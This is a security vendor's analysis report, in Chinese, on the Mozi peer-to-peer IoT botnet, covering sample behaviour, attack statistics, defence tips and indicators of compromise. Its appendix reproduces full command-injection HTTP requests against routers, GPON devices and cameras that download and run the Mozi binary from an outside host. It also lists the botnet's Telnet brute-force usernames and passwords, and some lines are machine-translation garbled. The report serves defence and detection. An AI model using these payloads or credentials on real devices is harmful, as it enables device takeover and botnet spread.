專項行動的意外收獲-2020年9月墨子(Mozi)僵尸網絡分析報告
1.概述
專項行動期間,某天各大藍隊群內都在交流最近還是收到很多來自印度的攻擊流量,最初部分認為是紅隊在使用印度IP進行攻擊。但很快發現事情好像并不是這么簡單,通過對攻擊付費負載特征的分析,發現該攻擊不是專項行動紅隊所發起,而是來自一個正在迅速擴展的僵尸網絡——Mozi(墨子)僵尸網絡。
Mozi僵尸網絡是在2019年底首次出現在針對路由器和DVR的攻擊場景上的一種P2P僵尸網絡。主要攻擊物聯網(IoT)設備,包括網件,D-Link和華為等路由設備。它本質上是Mirai的變種,但也包含Gafgyt和IoT Reaper的部分代碼,用于進行DDoS攻擊,數據竊取,垃圾郵件發送以及惡意命令執行和傳播。目前其規模已經迅速擴大,據統計目前已占到所有物聯網(IoT)僵尸網絡流量的90%。
近日知道創宇404積極防御實驗室通過知道創宇云防御安全大數據平臺監測到大量來自印度的IP。攻擊分析,其中大量的攻擊來自Mozi僵尸網絡,可能和近期印度Mozi僵尸網絡大范圍感染并傳播有關。
2.追溯分析
2.1發現攻擊
近日,知道創宇404積極防御實驗室監測到大量來自印度的IP攻擊,試圖通過遠程命令執行下載Mozi.m,Mozi.a等惡意文件到被攻擊設備上,并且使用的User-Agent替代:“ Hello,world”。使用的部分攻擊有效載荷如下:
cd+/tmp;rm+rf+*;wget+http://27.6.167.68:46222/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws
/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+rf+/tmp/*;wget+http://192.168.1.1:8088/Mozi.m+O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1

圖1-攻擊日志
通過對樣本的分析確定該樣本屬于Mozi僵尸網絡家族。
2.2詳細分析
2.2.1 Mozi.m樣本分析
捕獲到的樣本信息:
SHA256:bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf
ELF頭:
| 魔法 | 7f 45 4c 46 01 02 01 00 00 00 00 00 00 00 00 00 |
|---|---|
| 類別 | ELF32 |
| 數據 | 2補碼,大端序(big endian) |
| 版 | 1(當前) |
| 操作系統/ ABI | UNIX-系統V |
| ABI版本 | 0 |
| 類型 | EXEC(可執行文件) |
| 系統架構 | MIPS R3000 |
| 版本 | 0x1 |
| 入口點地址 | 0x41fb58 |
| 程序頭起點 | 52(以字節為單位) |
樣本通過UPX進行了加殼操作,并且將p_info結構中的p_file_size和p_blocksize值替換為0,來增強自身的“安全性”。
在成功感染目標設備之后,Mozi為進行自我保護,會通過防火墻中斷SSH,Telnet端口,以防止被其他僵尸網絡入侵:

圖2-中斷22、2323端口通信
根據感染的設備,修改防火墻策略放行不同的端口來保證自身的通信:

圖3-放行自身使用端口
同時讀取/ proc / net / tcp和/ proc / net / raw來查找并KILL掉使用1536和5888端口的進程:

圖4-殺死相關進程
檢查被感染的設備上是否存在Watchdog來避免重啟:

圖5-檢測看門狗
檢查被感染的設備上是否存在/ usr / bin / python,如果存在,則將進程名稱更改為sshd,不存在則更改為dropbear,從而來迷惑被攻擊者。

圖6-更改進度名
分析過程中發現Mozi僵尸網絡附屬部分Gafgyt家族僵尸網絡的代碼,其中內嵌了8個硬編碼的公共節點信息,用于加入P2P網絡,如下:

圖7-內置的例程
在樣本中還硬編碼了一個使用XOR加密的配置文件以及密鑰:

圖8-配置文件
使用硬編碼的秘鑰解密后得到如下配置數據: [ss]bot[/ss][hp]88888888[/hp][count]http://ia.#/go1?id = 19894027&pu =http%3a%2f%2fbaidu.com/[idp][/count]。
新的http://ia.#/Mozi美元向向發送HTTP請求,來注冊自身。
在通信流量中通過1來標記是否為Mozi納米發起的通信。
JBls

圖9-通信標識
所使用的攻擊設備類型包括:GPON光纖設備,NetGear路由設備,華為HG532交換機系列,D-Link路由設備,使用Realtek SDK的設備,Vacron監控攝像機,斐訊路由器,USR-G806 4G工業無線路由器等:

圖10-攻擊的設備類型
同時還在樣本中發現硬編碼的部分用戶名和弱密碼,用于對Telnet進行暴力破解攻擊,以擴大感染和傳播范圍,硬編碼的部分用戶名和密碼如下:

圖11-部分弱密碼密碼
2.3攻擊分布
自9月以來知道創宇云防御共攔截了來自Mozi僵尸網絡的151,952個IP的攻擊,總計攔截攻擊14,228,252次。與8月份排名,來自印度的攻擊顯著增加,攔截到的來自印度的攻擊IP先前上升了近30%,所攔截到的總攻擊次數增加了近42%。下圖為知道創宇404積極防御實驗室自9月以來監測到的來自印度的攻擊IP TOP10:

圖12-攻擊IP TOP10
通過對捕獲到的日志分析,對所有被攻擊的行業進行分類統計,其中被攻擊占比最高的為政府事業單位,以及部分部委機關系統及網站。這部分系統在所有被攻擊的行業中占比達到45%。如下:

圖13-被攻擊行業分布
目前Mozi僵尸網絡仍在快速擴張,且呈上升趨勢,直至十一重保,各單位仍需提高警惕,采取安全防護措施,尤其是已有政府事業單位以及部委機關單位,應提前做好相關設備的安全檢查,避免被僵尸網絡入侵感染。
3.防護建議
- 1.設備關閉預設的端口,對使用的端口號進行更改;
- 2.定期更新系統補丁,及時修復相關突破;
- 3.服務器切勿使用弱密碼,避免被暴力破解;
- 4.根據附件中的有效載荷中斷存在以下特征的通信;
- 5.關注設備上的可疑進展和外連訪問,尤其是最近來自印度的IP。
4附:IoCs
公共節點
dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
ttracker.debian.org:6881
212.129.33.59:6881(ZoomEye 搜索結果)
82.221.103.244:6881(ZoomEye搜索結果)
130.239。 18.159:6881(ZoomEye搜索結果)
87.98.162.88:6881(ZoomEye搜索結果)
部分有效載荷
POST /GponForm/diag_Form?images/ HTTP/1.1
Host: 127.0.0.1:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Hello, World
Content-Length: 118
XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://%s:%d/Mozi.m+-O+->/tmp/gpon80;sh+/tmp/gpon80&ipv=0
POST /picsdesc.xml HTTP/1.1
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: /
User-Agent: Hello-World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope//" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47450</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>cd /var/; wget http://%s:%d/Mozi.m; chmod +x Mozi.m; ./Mozi.m</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
GET /language/Swedish${IFS}&&cd${IFS}/tmp;rm${IFS}-rf${IFS}*;wget${IFS}http://%s:%d/Mozi.a;sh${IFS}/tmp/Mozi.a&>r&&tar${IFS}/string.js HTTP/1.0
POST /HNAP1/ HTTP/1.0
Host: %s:80
Content-Type: text/xml; charset="utf-8"
SOAPAction: http://purenetworks.com/HNAP1/`cd /tmp && rm -rf * && wget http://%s:%d/Mozi.m && chmod 777 /tmp/Mozi.m && /tmp/Mozi.m`
Content-Length: 640
<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>
GET /shell?cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1
User-Agent: Hello, world
Host: %s:80
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Connection: keep-alive
POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7574
User-Agent: Hello, world
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 640
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;><NewNTPServer1>`cd /tmp && rm -rf * && /bin/busybox wget http://%s:%d/Mozi.m && chmod 777 /tmp/tr064 && /tmp/tr064 tr064`</NewNTPServer1><NewNTPServer2>`echo DEATH`</NewNTPServer2><NewNTPServer3>`echo DEATH`</NewNTPServer3><NewNTPServer4>`echo DEATH`</NewNTPServer4><NewNTPServer5>`echo DEATH`</NewNTPServer5></u:SetNTPServers></SOAP-ENV:Body></SOAP-ENV:Envelope>
GET /cgi-bin/;cd${IFS}/var/tmp;rm${IFS}-rf${IFS}*;${IFS}wget${IFS}http://%s:%d/Mozi.m;${IFS}sh${IFS}/var/tmp/Mozi.m
GET /board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://%s:%d/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron
POST /soap.cgi?service=WANIPConn1 HTTP/1.1
Host: %s:49152
Content-Length: 630
Accept-Encoding: gzip, deflate
SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping
Accept: */*
User-Agent: Hello, World
Connection: keep-alive
<?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANIPConnection:1"><NewPortMappingDescription><NewPortMappingDescription><NewLeaseDuration></NewLeaseDuration><NewInternalClient>`cd /tmp;rm -rf *;wget http://%s:%d/Mozi.m;/tmp/Mozi.m dlink`</NewInternalClient><NewEnabled>1</NewEnabled><NewExternalPort>634</NewExternalPort><NewRemoteHost></NewRemoteHost><NewProtocol>TCP</NewProtocol><NewInternalPort>45</NewInternalPort></m:AddPortMapping><SOAPENV:Body><SOAPENV:envelope>
GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://%s:%d/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1 HTTP/1.0
暴力破解使用的用戶名及弱口令
| Username | Password |
|---|---|
| admin | 00000000 |
| telnetadmin | 1111 |
| !!Huawei | 1111111 |
| admin | 1234 |
| root | 12345 |
| root | 123456 |
| keomeo | 2010vesta |
| support | 2011vesta |
| CMCCAdmin | 25802580 |
| e8telnet | 54321 |
| e8ehome1 | 666666 |
| e8ehome | 7ujMko0admin |
| user | 7ujMko0vizxv |
| mother | 888888 |
| root | 88888888 |
| Administrator | @HuaweiHgw |
| service | BrAhMoS@15 |
| supervisor | CMCCAdmin |
| guest | CUAdmin |
| admin1 | Fireitup |
| administrator | GM8182 |
| ubnt | PhrQjGzk |
| tech | Pon521 |
| admin | Zte521 |
| admin | admin |
| telnet | admin1234 |
| adminHW | |
| adminpass | |
| anko | |
| cat1029 | |
| chzhdpl | |
| conexant | |
| default | |
| dreambox | |
| e2008jl | |
| e8ehome | |
| e8ehome1 | |
| e8telnet | |
| epicrouter | |
| fucker | |
| gpon | |
| guest | |
| gw1admin | |
| h@32LuyD | |
| hg2x0 | |
| hi3518 | |
| ikwb | |
| juantech | |
| jvbzd | |
| keomeo | |
| klv123 | |
| klv1234 | |
| meinsm | |
| pass | |
| password | |
| plumeria0077 | |
| r@p8p0r+ | |
| realtek | |
| root | |
| service | |
| smcadmin | |
| supervisor | |
| support | |
| system | |
| tech | |
| telnet | |
| telnetadmin | |
| ubnt | |
| user | |
| v2mprt | |
| vizxv | |
| xJ4pCYeW | |
| xc3511 | |
| xmhdipc | |
| zlxx | |
| zte | |
| #### SHA256 | |
| ``` | |
| bba18438991935a5fb91c8f315d08792c2326b2ce19f2be117f7dab984c47bdf | |
| c672798dca67f796972b42ad0c89e25d589d2e70eb41892d26adbb6a79f63887 | |
| ``` | |
| ### 5.參考鏈接: | |
| kb.cert.org/vuls/id/582384/ | |
| https://www.cebnet.com.cn/20180302/1024695... | |
| https://cloud.tencent.com/developer/articl... |
作者:answerboy @知道創宇404積極防御實驗室
時間:2020年9月18日